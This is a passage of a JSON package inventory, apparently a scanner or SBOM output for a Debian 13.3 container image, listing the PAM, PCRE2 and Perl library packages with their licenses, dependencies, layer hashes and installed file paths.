"/usr/share/pam/common-password.md5sums", "/usr/share/pam/common-session", "/usr/share/pam/common-session-noninteractive", "/usr/share/pam/common-session-noninteractive.md5sums", "/usr/share/pam/common-session.md5sums" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam0g@1.7.0-5", "Name": "libpam0g", "Identifier": { "PURL": "pkg:deb/debian/libpam0g@1.7.0-5?arch=amd64\u0026distro=debian-13.3", "UID": "aee6047a56bfd738" }, "Version": "1.7.0", "Release": "5", "Arch": "amd64", "SrcName": "pam", "SrcVersion": "1.7.0", "SrcRelease": "5", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-1.0-only", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.91", "libaudit1@1:4.0.2-2+b2", "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1", "/usr/lib/x86_64-linux-gnu/libpam_misc.so.0.82.1", "/usr/lib/x86_64-linux-gnu/libpamc.so.0.82.1", "/usr/share/doc/libpam0g/Debian-PAM-MiniPolicy.gz", "/usr/share/doc/libpam0g/README", "/usr/share/doc/libpam0g/README.Debian", "/usr/share/doc/libpam0g/TODO.Debian", "/usr/share/doc/libpam0g/changelog.Debian.gz", "/usr/share/doc/libpam0g/changelog.gz", "/usr/share/doc/libpam0g/copyright", "/usr/share/lintian/overrides/libpam0g" ], "AnalyzedBy": "dpkg" }, { "ID": "libpcre2-8-0@10.46-1~deb13u1", "Name": "libpcre2-8-0", "Identifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.46-1~deb13u1?arch=amd64\u0026distro=debian-13.3", "UID": "7a082037c8a89871" }, "Version": "10.46", "Release": "1~deb13u1", "Arch": "amd64", "SrcName": "pcre2", "SrcVersion": "10.46", "SrcRelease": "1~deb13u1", "Licenses": [ "BSD-3-clause-Cambridge with BINARY LIBRARY-LIKE PACKAGES exception", "BSD-3-Clause", "X11", "BSD-2-Clause", "public-domain" ], "Maintainer": "Matthew Vernon \u003cmatthew@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.14.0", "/usr/share/doc/libpcre2-8-0/README.Debian", "/usr/share/doc/libpcre2-8-0/changelog.Debian.gz", "/usr/share/doc/libpcre2-8-0/changelog.gz", "/usr/share/doc/libpcre2-8-0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libperl5.40@5.40.1-6", "Name": "libperl5.40", "Identifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "b98042a0c1d11b1e" }, "Version": "5.40.1", "Release": "6", "Arch": "amd64", "SrcName": "perl", "SrcVersion": "5.40.1", "SrcRelease": "6", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "FSFAP", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbz2-1.0@1.0.8-6", "libc6@2.41-12+deb13u2", "libcrypt1@1:4.4.38-1", "libdb5.3t64@5.3.28+dfsg2-9", "libgdbm-compat4t64@1.24-2", "libgdbm6t64@1.24-2", "perl-modules-5.40@5.40.1-6", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/cpan5.40-x86_64-linux-gnu", "/usr/bin/perl5.40-x86_64-linux-gnu", "/usr/lib/x86_64-linux-gnu/libperl.so.5.40.1", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/B.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/B/Concise.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/B/Showlex.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/B/Terse.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/B/Xref.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/EXTERN.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/INTERN.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/XSUB.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/av.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/bitcount.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/charclass_invlists.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/config.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/cop.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/cv.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/dosish.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/ebcdic_tables.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/embed.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/embedvar.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/fakesdio.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/feature.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/form.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/git_version.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/gv.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/handy.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/hv.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/hv_func.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/hv_macro.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/inline.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/intrpvar.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/invlist_inline.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/iperlsys.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/keywords.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/l1_char_class_tab.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/locale_table.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/malloc_ctl.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/metaconfig.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/mg.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/mg_data.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/mg_raw.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/mg_vtable.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/mydtrace.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/nostdio.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/op.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/op_reg_common.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/opcode.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/opnames.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/overload.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/pad.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/parser.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/patchlevel-debian.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/patchlevel.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perl.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perl_inc_macro.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perl_langinfo.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perl_siphash.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perlapi.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perlio.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perliol.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perlsdio.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perlstatic.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perlvars.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/perly.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/pp.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/pp_proto.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/proto.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/reentr.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/regcharclass.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/regcomp.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/regcomp_internal.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/regexp.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/reginline.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/regnodes.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/sbox32_hash.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/scope.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/scope_types.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/sv.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/sv_inline.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/thread.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/time64.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/time64_config.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/uni_keywords.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/unicode_constants.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/unixish.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/utf8.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/utfebcdic.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/util.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/uudmap.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/vutil.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/warnings.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/CORE/zaphod32_hash.h", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Compress/Raw/Bzip2.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Compress/Raw/Zlib.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Config.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Config.pod", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Config_git.pl", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Config_heavy.pl", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Cwd.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/DB_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Data/Dumper.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Devel/PPPort.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Devel/Peek.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Digest/MD5.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Digest/SHA.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/DynaLoader.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Alias.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Byte.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/CJKConstants.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/CN.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/CN/HZ.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Config.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/EBCDIC.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Encoder.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Encoding.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/GSM0338.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Guess.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/JP.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/JP/H2Z.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/JP/JIS7.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/KR.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/KR/2022_KR.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/MIME/Header.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/MIME/Header/ISO_2022_JP.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/MIME/Name.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Symbol.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/TW.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Unicode.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Encode/Unicode/UTF7.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Errno.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Fcntl.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/DosGlob.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Glob.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/AmigaOS.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Cygwin.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Epoc.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Functions.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Mac.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/OS2.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Unix.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/VMS.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/File/Spec/Win32.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Filter/Util/Call.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/GDBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Hash/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Hash/Util/FieldHash.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/I18N/Langinfo.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Dir.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Handle.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Pipe.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Poll.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Seekable.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Select.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Socket/INET.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IO/Socket/UNIX.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IPC/Msg.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IPC/Semaphore.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IPC/SharedMem.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/IPC/SysV.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/List/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/List/Util/XS.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/MIME/Base64.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/MIME/QuotedPrint.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Math/BigInt/FastCalc.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/NDBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/O.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/ODBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Opcode.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/POSIX.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/POSIX.pod", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/PerlIO/encoding.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/PerlIO/mmap.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/PerlIO/via.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/SDBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Scalar/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Storable.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Sub/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Sys/Hostname.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Sys/Syslog.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Time/HiRes.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Time/Piece.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Time/Seconds.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Unicode/Collate.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Unicode/Collate/Locale.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/Unicode/Normalize.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/_h2ph_pre.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/bitsperlong.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/ioctls.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/posix_types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/sockios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/termbits-common.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/termbits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm-generic/termios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/bitsperlong.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/ioctls.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/posix_types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/posix_types_32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/posix_types_64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/posix_types_x32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/sockios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/termbits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/termios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/unistd.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/unistd_32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/unistd_64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/asm/unistd_x32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/attributes.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/B/B.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Compress/Raw/Bzip2/Bzip2.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Compress/Raw/Zlib/Zlib.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Cwd/Cwd.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/DB_File/DB_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Data/Dumper/Dumper.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Devel/Peek/Peek.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Digest/MD5/MD5.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Digest/SHA/SHA.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/Byte/Byte.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/CN/CN.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/EBCDIC/EBCDIC.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/Encode.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/JP/JP.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/KR/KR.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/Symbol/Symbol.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/TW/TW.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Encode/Unicode/Unicode.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Fcntl/Fcntl.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/File/DosGlob/DosGlob.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/File/Glob/Glob.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Filter/Util/Call/Call.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/GDBM_File/GDBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Hash/Util/FieldHash/FieldHash.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Hash/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/I18N/Langinfo/Langinfo.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/IO/IO.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/IPC/SysV/SysV.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/List/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/MIME/Base64/Base64.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Math/BigInt/FastCalc/FastCalc.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/NDBM_File/NDBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/ODBM_File/ODBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Opcode/Opcode.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/POSIX/POSIX.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/PerlIO/encoding/encoding.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/PerlIO/mmap/mmap.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/PerlIO/via/via.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/SDBM_File/SDBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Socket/Socket.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Storable/Storable.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Sys/Hostname/Hostname.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Sys/Syslog/Syslog.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Time/HiRes/HiRes.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Time/Piece/Piece.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Unicode/Collate/Collate.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/Unicode/Normalize/Normalize.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/attributes/attributes.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/mro/mro.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/re/re.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/threads/shared/shared.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/threads/threads.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/atomic_wide_counter.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/byteswap.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/confname.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/endian.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/endianness.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/environments.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/floatn-common.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/floatn.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/getopt_core.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/getopt_posix.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/ioctl-types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/ioctls.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/long-double.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/posix_opt.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/pthreadtypes-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/pthreadtypes.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/select-decl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/select.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/select2.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigaction.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigcontext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigevent-consts.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/siginfo-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/siginfo-consts-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/siginfo-consts.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/signal_ext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/signum-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/signum-generic.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigstack.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigstksz.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigthread.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sockaddr.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/socket-constants.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/socket2.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/socket_type.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/ss_flags.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/stdint-intn.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/struct_mutex.ph", 